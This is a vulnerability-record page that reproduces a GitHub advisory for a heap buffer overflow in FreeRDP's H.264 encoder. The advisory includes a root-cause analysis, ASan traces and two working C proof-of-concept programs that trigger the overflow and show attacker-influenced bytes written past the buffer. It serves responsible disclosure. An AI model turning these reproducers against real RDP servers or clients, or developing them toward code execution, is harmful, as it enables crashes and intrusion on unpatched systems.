Read the docs

Heap overflow in FreeRDP H.264 encoder when surface height changes

Priority MEDIUM 51CWE-122Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
None
Attack complexity
Low
Impact type
—
Confidentiality · integrity · availability
None · High · Low
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-q8p6-8mmj-j4ph. Fix status from GitHub.

Summary

FreeRDP up to and including 3.32.2 contains a heap-based buffer overflow (CWE-122) in its H.264 encoder. When a surface changes only its height, the YUV planes keep their smaller allocation, so the color conversion writes past the end of the buffer. A remote attacker without privileges or user interaction can corrupt heap memory, which can abort the process in an unrelated allocation.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

### Summary `h264_context_reset()` records the new frame size in h264->width/h264->height **before** the YUV planes are reallocated. The "has the geometry changed?" test in` yuv_ensure_buffer()` therefore compares the new size with itself. When only the height changes, the stride is identical too, so the planes keep the first (smaller) allocation and the RGB->YUV conversion in the next `avc420_compress()` writes past their end. The overflow corrupts heap state, so the process aborts later, in an unrelated allocation (a glibc allocator assertion or a segfault), which is also what makes it hard to diagnose from a crash alone. ### Details * Reproduced on `master` (`3.32.3-dev0`, git `b2403bb99`) with the ffmpeg/libx264 backend, and with the OpenH264 backend - the bug is backend-independent (the overflow happens in shared code before the encoder is invoked). * Vulnerable paths (all callers of `yuv_ensure_buffer()` / `avc420_ensure_buffer()` after a reset that changed only the height): * `avc420_compress()` - `libfreerdp/codec/h264.c:367` * `avc444_compress()` - `libfreerdp/codec/h264.c:435` * `h264_get_yuv_buffer()` - `libfreerdp/codec/h264.c:330` * `h264_mf.c:353` (Windows decoder) * Real-world entry points: the shadow server encodes via `server/shadow/shadow_client.c:1401` (`avc420_compress`) and resets via `server/shadow/shadow_encoder.c:260` (`h264_context_reset`) when the surface size changes. ## Root cause `h264_context_reset()` stores the new dimensions up front (`libfreerdp/codec/h264.c`): ```c BOOL h264_context_reset(H264_CONTEXT* h264, UINT32 width, UINT32 height) { if (!h264) return FALSE; h264->width = width; /* <-- clobbers the old geometry ... */ h264->height = height; /* ... before the planes are reallocated */ if (h264->subsystem && h264->subsystem->Uninit) h264->subsystem->Uninit(h264); if (!h264_context_init(h264)) return FALSE; return yuv_context_reset(h264->yuv, width, height); } ``` `yuv_ensure_buffer()` then decides whether to reallocate by comparing the requested geometry with `h264->width`/`h264->height`: ```c if (isNull || (width != h264->width) || (height != h264->height) || (stride != h264->iStride[0])) { ... winpr_aligned_recalloc(h264->pYUVData[x], h264->iStride[x], pheight, 16) ... h264->width = width; h264->height = height; } ``` After `h264_context_reset(h264, 506, 240)` the test sees `240 == h264->height` (same for width), and because the stride depends only on the width it is unchanged as well - so the reallocation is skipped while `avc420_compress()` goes on to convert `240` rows into planes allocated for `120` (`yuv420_context_encode()` -> `RGBToYUV420_8u_P3AC4R()` -> `sse41_RGBToYUV420_BGRX_Y()` on SSSE3/AVX machines). ### Overflow size For `w=506`: `stride = 2024 + (32 - 2024 % 16) = 2048`; padded rows for `h1=120` is `144`, so the luma plane holds `2048 * 144 = 294,912` bytes (294,952 with the winpr alignment header). Encoding `h2=240` rows writes `2048 * 240 = 491,520` bytes of luma — **196,608 bytes (~192 KiB) past the plane, per frame**, and again on every subsequent frame (the "old"/"new" double buffers alternate). Chroma planes overflow as well once `h2/2 > pheight(h1)`. In general: ``` overflow_bytes/frame = stride * max(0, h2 - pheight(h1)) (luma) + stride/2 * max(0, h2/2 - pheight(h1)) x 2 (chroma) ``` ### Proof of concept Attached: repro.c (public-API-only reproducer), repro_probe.c (content-control probe) BUILD & RUN (any H.264 encoder backend; tested with ffmpeg/libx264 and OpenH264): gcc -O1 -g -o repro repro.c $(pkg-config --cflags --libs freerdp3 winpr3) ./repro # 506x120, then 506x240 -> heap corruption ./repro 506 120 120 # control: no resize -> clean ./repro 506 240 120 # control: shrinking -> clean 1) ASan (definitive): build FreeRDP with -fsanitize=address (-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer", same for CMAKE_SHARED_LINKER_FLAGS / CMAKE_EXE_LINKER_FLAGS), then ./repro aborts on the second frame ==35924==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x76759fb4f820 WRITE of size 16 at 0x76759fb4f820 thread T1 #0 _mm_storeu_si128 emmintrin.h:743 #1 STORE_SI128 libfreerdp/primitives/sse/prim_avxsse.h:76 #2 sse41_RGBToYUV420_BGRX_Y libfreerdp/primitives/sse/prim_YUV_sse4.1.c:679 #3 sse41_RGBToYUV420_BGRX libfreerdp/primitives/sse/prim_YUV_sse4.1.c:798 #4 sse41_RGBToYUV420 libfreerdp/primitives/sse/prim_YUV_sse4.1.c:820 #5 yuv420_encode_work_callback libfreerdp/codec/yuv.c:662 ... 0x76759fb4f828 is located 0 bytes after 294952-byte region allocated by thread T0 here: #1 winpr_aligned_offset_malloc winpr/libwinpr/crt/alignment.c:131 #2 winpr_aligned_offset_recalloc winpr/libwinpr/crt/alignment.c:208 #3 yuv_ensure_buffer libfreerdp/codec/h264.c:94 #4 avc420_ensure_buffer libfreerdp/codec/h264.c:113 #5 avc420_compress libfreerdp/codec/h264.c:367 Both controls produce zero ASan reports. 2) Uninstrumented builds show all three outcomes depending on heap layout: - SIGSEGV *during* the OOB write, inside sse41_RGBToYUV420_BGRX_Y (planes are individually mmap'd; the write runs off the mapping) - glibc aborts: free(): invalid pointer / free(): invalid next size / double free or corruption - silent completion with undetected heap corruption 3) Content control: repro_probe grabs the luma plane via the public h264_get_yuv_buffer() API, encodes a solid-color 506x120 frame, resizes to 506x240, encodes again, and reads back bytes past the plane's logical end (memory is zeroed at allocation time, so any non-zero byte there is from the conversion): val=0xff (white): row 144 (0 bytes past buffer end): ff ff ff ... ff val=0x00 (black): row 144 (0 bytes past buffer end): 00 00 00 ... 00 val=0x41 ('A') : row 144 (0 bytes past buffer end): 41 41 41 ... 41 The overflow bytes track the input pixels exactly. 4) Size control: overflow length = stride * (h2 - pheight(h1)) per frame; ~192 KiB at 506x120->240; grows linearly with the chosen height delta. --- /* repr_probe.c: Content-control probe: fill frames with one solid color, then read back the * bytes that landed past the end of the luma plane (via the public * h264_get_yuv_buffer() pointer). mallopt() keeps the planes on the brk heap so * the process survives long enough to inspect the overwritten memory. */ #include <malloc.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <freerdp/codec/color.h> #include <freerdp/codec/h264.h> static void dump(const char* label, const BYTE* p, size_t n) { printf("%s", label); for (size_t i = 0; i < n; i++) printf(" %02x", p[i]); printf("\n"); } static int frame(H264_CONTEXT* h264, BYTE* rgb, UINT32 w, UINT32 h, UINT32 val) { RDPGFX_H264_METABLOCK meta; BYTE* out = NULL; UINT32 outSize = 0; const RECTANGLE_16 region = { 0, 0, (UINT16)w, (UINT16)h }; memset(&meta, 0, sizeof(meta)); memset(rgb, (int)val, (size_t)w * h * 4); const INT32 rc = avc420_compress(h264, rgb, PIXEL_FORMAT_BGRA32, w * 4, w, h, &region, &out, &outSize, &meta); printf(" frame %ux%u val=0x%02x -> rc=%d\n", w, h, val, rc); return rc < 0 ? -1 : 0; } int main(int argc, char** argv) { const UINT32 val = (argc > 1) ? (UINT32)atoi(argv[1]) : 0xff; const UINT32 w = 506, h1 = 120, h2 = 240; BYTE* yuv[3] = { 0 }; UINT32 stride[3] = { 0 }; setbuf(stdout, NULL); mallopt(M_MMAP_THRESHOLD, 64 * 1024 * 1024); /* keep planes on brk heap */ BYTE* rgb = calloc((size_t)w * h2, 4); H264_CONTEXT* h264 = h264_context_new(TRUE); if (!h264 || !rgb) return 1; if (!h264_context_set_option(h264, H264_CONTEXT_OPTION_RATECONTROL, H264_RATECONTROL_CQP) || !h264_context_set_option(h264, H264_CONTEXT_OPTION_QP, 22)) return 1; if (!h264_context_reset(h264, w, h1)) return 1; if (h264_get_yuv_buffer(h264, w * 4, w, h1, yuv, stride) != 0) return 1; printf("luma plane at %p, stride=%u, allocated rows = 144 (usable %u bytes)\n", (void*)yuv[0], stride[0], stride[0] * 144); if (frame(h264, rgb, w, h1, val) != 0) return 1; if (!h264_context_reset(h264, w, h2)) return 1; if (frame(h264, rgb, w, h2, val) != 0) /* overflows yuv[0] */ return 1; dump(" row 143 (last in-bounds row) :", yuv[0] + stride[0] * 143, 16); dump(" row 144 (0 bytes past buffer end):", yuv[0] + stride[0] * 144, 32); dump(" row 239 tail (~192KB past end) :", yuv[0] + stride[0] * 240 - 16, 16); h264_context_free(h264); free(rgb); return 0; } --- /* repro.c: Reproducer: FreeRDP H.264 encoder, height-only resize overruns the YUV planes. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <freerdp/codec/color.h> #include <freerdp/codec/h264.h> static int frame(H264_CONTEXT* h264, BYTE* rgb, UINT32 w, UINT32 h, UINT32 gen) { RDPGFX_H264_METABLOCK meta; BYTE* out = NULL; UINT32 outSize = 0; const RECTANGLE_16 region = { 0, 0, (UINT16)w, (UINT16)h }; memset(&meta, 0, sizeof(meta)); for (size_t i = 0; i < (size_t)w * h * 4; i++) rgb[i] = (BYTE)(i * 7 + gen * 37); printf(" frame %ux%u ... ", w, h); fflush(stdout); const INT32 rc = avc420_compress(h264, rgb, PIXEL_FORMAT_BGRA32, w * 4, w, h, &region, &out, &outSize, &meta); if (rc < 0) { printf("compress failed (%d)\n", rc); return -1; } printf("%u bytes\n", outSize); free_h264_metablock(&meta); return 0; } int main(int argc, char** argv) { const UINT32 w = (argc > 1) ? (UINT32)atoi(argv[1]) : 506; const UINT32 h1 = (argc > 2) ? (UINT32)atoi(argv[2]) : 120; const UINT32 h2 = (argc > 3) ? (UINT32)atoi(argv[3]) : 240; BYTE* rgb = calloc((size_t)w * (h1 > h2 ? h1 : h2), 4); H264_CONTEXT* h264 = h264_context_new(TRUE); if (!h264 || !rgb) return 1; if (!h264_context_set_option(h264, H264_CONTEXT_OPTION_RATECONTROL, H264_RATECONTROL_CQP) || !h264_context_set_option(h264, H264_CONTEXT_OPTION_QP, 22)) return 1; printf("%ux%u, then %ux%u\n", w, h1, w, h2); if (!h264_context_reset(h264, w, h1) || frame(h264, rgb, w, h1, 1) != 0) return 1; if (!h264_context_reset(h264, w, h2) || frame(h264, rgb, w, h2, 2) != 0) return 1; if (frame(h264, rgb, w, h2, 3) != 0) return 1; h264_context_free(h264); free(rgb); printf("no crash\n"); return 0; } ### Impact Who is impacted: any application using FreeRDP's H.264 codec across a resolution change where only the height changes. Remotely triggerable in two directions: (i) against any FreeRDP-based server that resizes its encode surface on client request (e.g. a downstream product wiring the in-tree DisplayControl server channel) (ii) POSSIBLY(but could not be tested) against Windows clients: a malicious server can change the GFX surface height (libfreerdp/gdi/gfx.c:732,826) and then stream H.264 frames of the new height, so the Media Foundation decoder (h264_mf.c:353) skips reallocation and writes decoded, fully server-chosen pixels past the plane in the client process. The stock RDP proxy does not re-encode and is not affected. (The same skippedreallocation exists in avc444_compress and h264_get_yuv_buffer.) Severity: this is a heap OOB write whose size (height delta, repeatable per frame) and content (screen pixels; server-chosen in the decoder direction, influenceable through drawn content in the encoder direction) are both **attacker-influenceable**. Observed outcomes: process crash (SIGSEGV during the write; glibc heap-metadata aborts) or silent corruption of adjacent heap allocations; the latter is the shape of primitive that heap-grooming techniques can escalate toward control-flow hijacking - in the worst case, remote code execution (RCE) in the affected process (the RDP server for the encoder path, the client for the decoder path). I did not demonstrate RCE and did not attempt weaponization, but recommend treating this as a security vulnerability and assigning a CVE after your careful review.

Why it matters now

Fix Fixed FreeRDP (c): 3.33.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.23.33.0Patch availableGHSA-q8p6-8mmj-j4ph
  • FreeRDP (c) Vendor— Affected <= 3.32.2 Fixed in 3.33.0 Patch available GHSA-q8p6-8mmj-j4ph

Remediation

Upgrade FreeRDP to version 3.33.0, the first fixed version listed for this product.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-q8p6-8mmj-j4ph FreeRDP (c) Fixed in 3.33.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-q8p6-8mmj-j4ph

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences